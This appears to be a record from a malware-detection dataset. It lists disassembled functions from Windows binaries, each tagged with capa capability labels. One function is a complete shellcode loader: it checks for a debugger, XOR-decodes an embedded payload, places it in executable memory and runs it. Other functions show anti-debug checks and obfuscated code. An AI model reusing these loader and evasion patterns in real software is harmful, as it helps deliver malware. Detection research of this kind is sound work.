joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000ee10
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000ee6d
lea rbx, [0x1400425b0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x14000ee54
cmp r10, 2
jb 0x14000ee54
cmp byte [r9], r8b
jne 0x14000ee54
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x14000ee30
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000eeaf
lea rbx, [0x1400425b0]
cmp r8b, 0x23
jne 0x14000ee93
cmp byte [r9], r8b
jne 0x14000ee93
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x14000ee80
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x14000f170
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rdi
push r12
push r13
sub rsp, 0x10
mov qword [rsp + 0x30], rbx
lea r13, [0x140000000]
mov qword [rsp + 0x38], rbp
mov rdi, rdx
mov qword [rsp + 0x40], rsi
mov rax, rcx
mov qword [rsp + 8], r14
xor r12d, r12d
mov qword [rsp], r15
test rdi, rdi
je 0x14000f1b0
cmp rax, rdi
jae 0x14000f328
movzx r8d, byte [rax]
test r8b, r8b
je 0x14000f328
xor ebx, ebx
mov ecx, r8d
shr rcx, 3
mov rdx, rdi
movsx r9, byte [rcx + r13 + 0x43838]
test r9d, r9d
sete bl
add ebx, r9d
test rdi, rdi
jne 0x14000f1e6
movsxd rdx, ebx
add rdx, rax
xor esi, esi
lea rcx, [rax + 1]
cmp rax, rdx
cmovb esi, r8d
cmp rcx, rdx
jae 0x14000f1fe
movzx r15d, byte [rcx]
jmp 0x14000f201
xor r15b, r15b
lea rcx, [rax + 2]
cmp rcx, rdx
jae 0x14000f210
movzx r14d, byte [rcx]
jmp 0x14000f213
xor r14b, r14b
lea rcx, [rax + 3]
cmp rcx, rdx
jae 0x14000f221
movzx ebp, byte [rcx]
jmp 0x14000f224
xor bpl, bpl
lea r11, [r9*4]
movzx ecx, sil
mov r9d, dword [r11 + r13 + 0x43858]
and r9d, ecx
movzx r8d, r15b
shl r9d, 6
mov ecx, r8d
and ecx, 0x3f
movzx edx, r14b
or r9d, ecx
movzx r10d, bpl
shl r9d, 6
and r8d, 0xc0
mov ecx, edx
and edx, 0xc0
and ecx, 0x3f
or r9d, ecx
mov ecx, r10d
shr r10d, 2
and ecx, 0x3f
or r10d, edx
shl r9d, 6
shr r10d, 2
or r9d, ecx
mov ecx, dword [r11 + r13 + 0x43888]
or r10d, r8d
shr r9d, cl
shr r10d, 2
mov edx, r9d
cmp r9d, dword [r11 + r13 + 0x43870]
sbb ecx, ecx
and edx, 0xfffff800
and ecx, 0x40
xor r8d, r8d
or r10d, ecx
mov ecx, 0x80
cmp edx, 0xd800
cmove r8d, ecx
xor edx, edx
or r10d, r8d
mov ecx, pe_nt_image_headers64
cmp r9d, 0xffff
cmova edx, ecx
mov ecx, dword [r11 + r13 + 0x438a0]
or r10d, edx
xor r10d, 0x2a
sar r10d, cl
test r10d, r10d
je 0x14000f31a
xor edx, edx
test bpl, bpl
setne dl
xor ecx, ecx
test r14b, r14b
setne cl
add edx, ecx
xor ecx, ecx
test r15b, r15b
setne cl
add edx, ecx
xor ecx, ecx
test sil, sil
setne cl
add edx, ecx
cmp ebx, edx
cmovl edx, ebx
mov ebx, edx
movsxd rcx, ebx
add rax, rcx
inc r12d
jmp 0x14000f1a2
mov r15, qword [rsp]
mov eax, r12d
mov r14, qword [rsp + 8]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x10
pop r13
pop r12
pop rdi
ret
Function at 0x14000f3a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x30
movsxd rax, edx
mov rdi, rcx
dec rax
mov qword [r11 + 0x20], rsi
mov rsi, r9
xor r9d, r9d
lea rax, [rcx + rax*2]
mov qword [rsp], rax
cmp rcx, rax
jae 0x14000f5b7
mov qword [r11 + 0x18], rbp
lea rbp, [0x140000000]
mov qword [r11 + 0x10], rbx
mov qword [r11 - 0x10], r12
mov qword [r11 - 0x18], r13
mov qword [r11 - 0x20], r14
mov qword [r11 - 0x28], r15
nop
test rsi, rsi
je 0x14000f3fe
cmp r8, rsi
jae 0x14000f594
movzx edx, byte [r8]
test dl, dl
je 0x14000f594
xor ebx, ebx
mov eax, edx
shr rax, 3
mov rcx, rsi
movsx r9, byte [rax + rbp + 0x43838]
test r9d, r9d
sete bl
add ebx, r9d
test rsi, rsi
jne 0x14000f432
movsxd rcx, ebx
add rcx, r8
xor r14d, r14d
lea rax, [r8 + 1]
cmp r8, rcx
cmovb r14d, edx
cmp rax, rcx
jae 0x14000f44b
movzx r13d, byte [rax]
jmp 0x14000f44e
xor r13b, r13b
lea rax, [r8 + 2]
cmp rax, rcx
jae 0x14000f45d
movzx r12d, byte [rax]
jmp 0x14000f460
xor r12b, r12b
lea rax, [r8 + 3]
cmp rax, rcx
jae 0x14000f46f
movzx r15d, byte [rax]
jmp 0x14000f472
xor r15b, r15b
lea r11, [r9*4]
movzx eax, r14b
mov ebp, dword [r11 + rbp + 0x43858]
and ebp, eax
movzx r9d, r13b
shl ebp, 6
mov eax, r9d
and eax, 0x3f
movzx edx, r12b
or ebp, eax
movzx r10d, r15b
shl ebp, 6
and r9d, 0xc0
mov eax, edx
and edx, 0xc0
and eax, 0x3f
or ebp, eax
mov eax, r10d
and eax, 0x3f
shr r10d, 2
or r10d, edx
shl ebp, 6
or ebp, eax
shr r10d, 2
or r10d, r9d
lea rax, [0x140000000]
mov ecx, dword [r11 + rax + 0x43888]
shr r10d, 2
shr ebp, cl
mov ecx, pe_nt_image_headers64
cmp ebp, dword [r11 + rax + 0x43870]
sbb eax, eax
xor r9d, r9d
and eax, 0x40
mov edx, r9d
or r10d, eax
mov eax, ebp
and eax, 0xfffff800
cmp eax, 0xd800
mov eax, 0x80
cmove edx, eax
mov eax, r9d
or r10d, edx
cmp ebp, 0xffff
cmova eax, ecx
or r10d, eax
lea rax, [0x140000000]
mov ecx, dword [r11 + rax + 0x438a0]
xor r10d, 0x2a
sar r10d, cl
test r10d, r10d
je 0x14000f576
test r15b, r15b
mov eax, r9d
mov ecx, r9d
mov ebp, 0xfffd
setne cl
test r12b, r12b
setne al
add ecx, eax
mov eax, r9d
test r13b, r13b
setne al
add ecx, eax
mov eax, r9d
test r14b, r14b
setne al
add ecx, eax
cmp ebx, ecx
cmovl ecx, ebx
mov ebx, ecx
mov word [rdi], bp
add rdi, 2
movsxd rax, ebx
lea rbp, [0x140000000]
add r8, rax
cmp rdi, qword [rsp]
jb 0x14000f3f0
mov rcx, qword [rsp + 0x40]
mov r15, qword [rsp + 0x10]
mov r14, qword [rsp + 0x18]
mov r13, qword [rsp + 0x20]
mov r12, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
mov word [rdi], r9w
test rax, rax
je 0x14000f5cd
mov qword [rax], r8
sub rdi, rcx
sar rdi, 1
mov eax, edi
add rsp, 0x30
pop rdi
ret
Function at 0x1400111c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x6010], 0
mov rsi, r8
mov rbp, rdx
mov rbx, rcx
je 0x140011243
xor edx, edx
add rcx, 0x6018
call fcn.140004430
mov r8, rsi
lea rcx, [rbx + 0x6018]
mov rdx, rbp
call fcn.14001f1f0
mov eax, dword [rbx + 0x6018]
xor ecx, ecx
mov r9, qword [rbx + 0x6010]
test eax, eax
lea edx, [rax - 1]
mov rax, qword [rbx + 0x6020]
cmove edx, ecx
test rax, rax
movsxd r8, edx
lea rcx, [0x140050078]
cmovne rcx, rax
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x14001124f
add rcx, 0x6018
call fcn.14001f1f0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140019650
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [0x140050070]
mov rbx, rcx
xor ecx, ecx
mov dword [rax + 0x5f6c], ecx
test rbx, rbx
je 0x1400196bf
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x38], rdi
call fcn.1400196d0
lea rdx, [0x140044124]
mov rcx, rbx
mov rdi, rax
call fcn.14000e950
mov rbx, rax
test rax, rax
je 0x1400196ba
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
Function at 0x14003f300
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140050070]
mov rcx, qword [rax + 0x4e18]
mov r10, qword [rax + 0x4000]
movsxd rax, dword [rcx + 0x74]
movups xmm0, xmmword [rcx + 0x170]
movss xmm4, dword [rcx + 0x170]
movss xmm3, dword [rcx + 0x174]
movss xmm2, dword [rcx + 0x178]
movss xmm1, dword [rcx + 0x17c]
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
imul r9, rax, 0x70
mov rax, qword [r10 + 0x2a8]
add r9, qword [rcx + 0x18]
movups xmmword [r10 + 0x248], xmm0
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r10 + 0x2a8]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, word [r9 + 0x5c]
mov rdx, qword [r10 + 0x2a8]
mov rcx, qword [rcx + 0x1a0]
add rsp, 0x38
jmp 0x140036690
Function at 0x14003f3d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
sub rsp, 0x60
movsxd rax, dword [rcx]
mov rbx, rdx
mov rdx, rcx
cmp eax, r8d
je 0x1400367b1
movups xmm0, xmmword [rbx]
mov r9, rax
mov qword [rsp + 0x70], rsi
mov rax, qword [rcx + 0x10]
shl r9, 5
mov qword [rsp + 0x78], rdi
lea rdi, [rbx + 0x88]
movups xmmword [r9 + rax], xmm0
movsxd rcx, dword [rcx]
mov rax, qword [rdx + 0x10]
movups xmm0, xmmword [rbx + 0x10]
shl rcx, 5
movups xmmword [rcx + rax + 0x10], xmm0
mov rax, qword [rdx + 0x10]
mov dword [rdx], r8d
movsxd rcx, r8d
shl rcx, 5
movups xmm0, xmmword [rax + rcx]
movups xmmword [rbx], xmm0
mov rax, qword [rdx + 0x10]
movups xmm0, xmmword [rax + rcx + 0x10]
movups xmmword [rbx + 0x10], xmm0
mov rax, qword [rbx + 0x18]
movsxd rsi, dword [rbx + 0x10]
lea rcx, [rax + rsi*2]
movsxd rax, dword [rbx]
mov qword [rbx + 0x50], rcx
test eax, eax
je 0x140036768
imul rcx, rax, 0x38
mov rax, qword [rbx + 8]
add rax, 0xffffffffffffffc8
add rcx, rax
je 0x140036768
cmp dword [rcx + 0x20], 0
jne 0x140036756
movups xmm0, xmmword [rdi]
mov rsi, qword [rsp + 0x70]
movups xmmword [rcx], xmm0
movsd xmm1, qword [rdi + 0x10]
movsd qword [rcx + 0x10], xmm1
mov eax, dword [rdi + 0x18]
mov rdi, qword [rsp + 0x78]
mov dword [rcx + 0x18], eax
add rsp, 0x60
pop rbx
ret
mov r8d, 0x1c
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400367a7
xor eax, eax
mov dword [rsp + 0x3c], esi
xorps xmm0, xmm0
mov qword [rsp + 0x50], rax
mov rax, qword [rbx + 0x98]
lea rdx, [rsp + 0x20]
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x30], rax
mov rcx, rbx
movups xmm0, xmmword [rdi]
mov eax, dword [rbx + 0xa0]
mov dword [rsp + 0x38], eax
movups xmmword [rsp + 0x20], xmm0
call fcn.14001f3e0
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x60
pop rbx
ret
sub rsp, 0x38
mov rax, qword [0x140050070]
mov rcx, qword [rax + 0x4e18]
mov r9, qword [rax + 0x4000]
movups xmm0, xmmword [r9 + 0x248]
movups xmmword [rcx + 0x170], xmm0
mov rax, qword [r9 + 0x2a8]
movups xmm0, xmmword [rcx + 0x150]
movss xmm4, dword [rcx + 0x150]
movss xmm3, dword [rcx + 0x154]
movss xmm2, dword [rcx + 0x158]
movss xmm1, dword [rcx + 0x15c]
movups xmmword [r9 + 0x248], xmm0
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r9 + 0x2a8]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, word [rcx + 0x232]
mov rcx, qword [rcx + 0x1a0]
mov rdx, qword [r9 + 0x2a8]
add rsp, 0x38
jmp 0x140036690
Function at 0x14004090c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140040956
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140040956
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140040956
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140040956
cmp dword [rcx + 0x84], 0xe
jbe 0x140040956
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140040958
xor al, al
add rsp, 0x28
ret
Function at 0x140003498
Capabilities:
Encode data using xor

Disassembly:
and al, 0x7f
mov qword [rsp + 0x68], 0xb5ea1e3
mov dword [rsp + 0x5c], 0x6f46a6c8
mov r11b, r10b
add r11b, 0xe9
mov byte [rsp + 0x7f], r11b
sub r9b, r10b
mov rsi, qword [rsp + 0x68]
sub r8, rsi
mov byte [rsp + 0x7f], r9b
mov qword [rsp + 0x50], r8
mov di, word [rsp + 0x62]
or di, di
mov r8, qword [0x1400d9b18]
mov word [rsp + 0x62], di
mov edx, dword [rsp + 0x5c]
mov ebx, edx
add ebx, 0x6ffb992
mov dword [rsp + 0x64], ebx
sub eax, edx
mov dword [rsp + 0x4c], eax
mov word [rsp + 0x62], 0xc01a
cmp r8, 0
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x3c], edx
mov byte [rsp + 0x3b], r10b
mov qword [rsp + 0x30], r8
je 0x140003586
jmp 0x14000355e

Function at 0x140004da0
Capabilities:
Encode data using xor

Disassembly:
lea rdx, [0x1400cc6c7]
mov eax, 0x4c5c7f6a
jg 0x140004aee
mov cx, 0x8b4a
add dword [eax], eax
add byte [rbp + 0x48], ah
add ebx, ecx
mov qword [rsp + 0x108], rbx
add r8b, 0xb
mov byte [rsp + 0x167], r8b
mov r9d, dword [rsp + 0x14c]
mov dword [rsp + 0x104], r9d
mov bp, word [rsp + 0xa2]
xor bp, 0xffff
mov word [rsp + 0x17e], bp
cmp rbx, rdi
je 0x140004a87
jmp 0x140004772

Function at 0x14000586c
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rsp + 0x48]
mov cx, word [rsp + 0x52]
xor cx, 0xffff
mov word [rsp + 0x52], cx
xor rax, 0x1ff37939
mov dl, byte [rsp + 0x67]
add dl, 0xa7
mov r8, qword [rsp + 0x48]
xor r8, 0x1ff37918
mov r9, qword [rsp + 0x10]
add r9, r8
mov byte [rsp + 0x67], dl
cmp r9, rax
mov qword [rsp + 0x18], r9
je sym.TAPI32.dll_lineSetCallParams
jmp 0x1400057d0
mov eax, dword [rsp + 0xc]
mov dword [rsp + 8], eax
jmp 0x14000581b
mov rax, qword [rsp + 0x18]
lea rcx, [0x1400cc4d0]
mov dx, word [rsp + 0x52]
or dx, 0xd501
mov word [rsp + 0x52], dx
mov r8d, dword [rcx + rax*4]
mov r9d, dword [rsp + 0x3c]
cmp r8d, r9d
mov qword [rsp + 0x10], rax
mov dword [rsp + 0xc], r8d
jb 0x1400057c6
jmp 0x140005782
mov eax, dword [rsp + 8]
lea rcx, [0x1400cc6d5]
mov dx, word [rsp + 0x52]
mov r8w, word [rsp + 0x52]
mov r9d, dword [rsp + 0x60]
sub dx, r8w
mov word [rsp + 0x52], dx
xor r9d, 0x79b95882
mov dx, word [rsp + 0x52]
sub dx, word [rsp + 0x52]
mov word [rsp + 0x52], dx
mov r10d, eax
and r10d, r9d
mov r9d, r10d
mov r11d, r9d
mov qword [rsp + 0x58], 0x50a930eb
and al, 0x58
jmp 0x140005898
test eax, 0x245c8a50
and al, 0x67
mov sil, 0x50
mov dword [rsp + 4], eax
mov al, bl
mul sil
mov byte [rsp + 0x67], al
mov r9d, dword [rsp + 0x60]
mov qword [rsp + 0x58], 0x30be1f8a
mov al, byte [rsp + 0x67]
and al, 0x61
xor r9d, 0x79b958bd
mov bl, byte [rcx + r11]
mov r10d, dword [rsp + 4]
mov edi, r10d
mov ecx, edi
mov byte [rsp + 0x67], al
mov r11, qword [rsp + 0x28]
xor r11, 0x5bf0e0c9
mov r14, qword [rsp + 0x40]
mov al, byte [r14 + rcx]
sub al, bl
mov qword [rsp + 0x58], r11
mov r11, qword [rsp + 0x30]
mov byte [r11 + rcx], al
add r10d, r9d
mov r9d, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x3c]
cmp r10d, r9d
mov dword [rsp + 8], r10d
jb 0x14000581b
jmp 0x140005782
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x008206e0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x008206f0]
mov dword [rax], 1
mov rax, qword [0x00820700]
mov dword [rax], 1
mov rax, qword [0x008206d0]
mov dword [rax], 1
mov rax, qword [0x00820590]
cmp word [rax], 0x5a4d
je 0x4010d0
mov rax, qword [0x008206c0]
mov dword [0x00830008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010c2
mov ecx, 2
call sym.__set_app_type
mov rcx, 0xffffffffffffffff
call dbg._encode_pointer
mov rdx, qword [0x00820620]
mov qword [rdx], rax
mov rdx, qword [0x00820610]
mov qword [rdx], rax
mov rax, qword [0x00820680]
mov edx, dword [rax]
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov rax, qword [rax]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x008204c0]
cmp dword [rax], 1
je 0x401120
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401133
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401530
Capabilities:
Check for debugger via api

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp - 4], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp - 4]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
call rax
mov eax, dword [rbp - 4]
test eax, eax
sete al
movzx eax, al
add rsp, 0x30
pop rbp
ret
Function at 0x40156c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov eax, 0x2fd60
call fcn.0072c590
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
call sym.AntiDebug__
test eax, eax
sete al
test al, al
je 0x40159f
mov eax, 0
jmp 0x4016ca
lea rax, [rbp - 0x60]
lea rdx, [0x00737040]
mov ecx, 0x2fd0a
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov qword [rbp + 0x2fcd0], 0x2fd0a
mov rax, qword [rbp + 0x2fcd0]
mov rcx, rax
call sym.operator_new___unsigned_long_long_
mov qword [rbp + 0x2fcc8], rax
mov byte [rbp + 0x2fcc7], 0x78
mov qword [rbp + 0x2fcd8], 0
jmp 0x40161e
mov rdx, qword [rbp + 0x2fcc8]
mov rax, qword [rbp + 0x2fcd8]
add rax, rdx
lea rcx, [rbp - 0x60]
mov rdx, qword [rbp + 0x2fcd8]
add rdx, rcx
movzx edx, byte [rdx]
xor edx, 0x78
mov byte [rax], dl
add qword [rbp + 0x2fcd8], 1
mov rax, qword [rbp + 0x2fcd8]
cmp rax, qword [rbp + 0x2fcd0]
jb 0x4015ef
mov rax, qword [rbp + 0x2fcd0]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x2fcb8], rax
cmp qword [rbp + 0x2fcb8], 0
jne 0x401683
cmp qword [rbp + 0x2fcc8], 0
je 0x40167c
mov rax, qword [rbp + 0x2fcc8]
mov rcx, rax
call sym.operator_delete___void_
mov eax, 1
jmp 0x4016ca
mov rcx, qword [rbp + 0x2fcd0]
mov rdx, qword [rbp + 0x2fcc8]
mov rax, qword [rbp + 0x2fcb8]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x2fcb8]
call rax
cmp qword [rbp + 0x2fcc8], 0
je 0x4016c5
mov rax, qword [rbp + 0x2fcc8]
mov rcx, rax
call sym.operator_delete___void_
mov eax, 0
add rsp, 0x2fd60
pop rbp
ret
Function at 0x72b2b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x00830054]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x72b3ca
mov rax, qword [0x00830058]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x72b2fe
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x72b3b0
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x72b2e2
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x72b402
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x00830058]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call dbg._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x00830058]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x72b3e5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x72b3a9
sub eax, 0x40
and eax, 0xffffffbf
je 0x72b3a9
mov r9, rbp
add r9, qword [0x00830058]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x72b3d1
add dword [0x00830054], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.memcpy
xor ebp, ebp
jmp 0x72b30b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
mov rax, qword [0x00830058]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call dbg.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call dbg.__report_error
nop
nop word cs:[rax + rax]

Function at 0x72bfe0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x72bff0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x72c000
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x72c041
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x72c038
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x72c043
add rax, 0x28
cmp rax, r9
jne 0x72c024
xor eax, eax
repz ret

Function at 0x72c0f0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x00820590]
cmp word [rbx], 0x5a4d
je 0x72c110
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call sym._ValidateImageBase.part.0
test eax, eax
je 0x72c104
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp dbg._FindPESection
Function at 0x72c360
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x008309c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x008309a0]
test rbx, rbx
je 0x72c3b4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x72c3ab
test rsi, rsi
je 0x72c3ab
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x72c390
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x008309c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax

Function at 0x72cb50
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov rdi, rcx
movsxd r12, edx
mov r13, r8
call sym.strlen
mov rsi, rax
lea ebx, [rax + 0xf]
lea eax, [rax + 0x52]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.0072c590
sub rsp, rax
movsxd r14, esi
movabs rax, 0x656d68732d636367
lea r15, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov r8, r14
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov eax, 0x326d
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
movsxd rbx, ebx
mov byte [rsp + 0x2e], 0x2d
call sym.memcpy
lea rax, [r15 + r14 + 0x10]
lea r14d, [rsi + 0x50]
movabs rdx, 0x6161616161616161
xor ecx, ecx
mov r8, r15
mov qword [rax], rdx
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rdx
mov qword [rax + 0x30], rdx
mov qword [rax + 0x38], rdx
movsxd rax, r14d
xor edx, edx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + rbx + 0x20], 0x2d
mov rdi, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x72cc39
int3
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x72ccd8
mov rcx, r12
call sym.malloc
lea r9d, [rsi + 0x10]
mov rbx, rax
mov r10d, 0x40
bt rbx, r10
jae 0x72cc74
mov r11d, r14d
sub r11d, r10d
movsxd r11, r11d
mov byte [r15 + r11], 0x41
sub r10d, 1
jne 0x72cc60
mov dword [rbp - 0x54], r9d
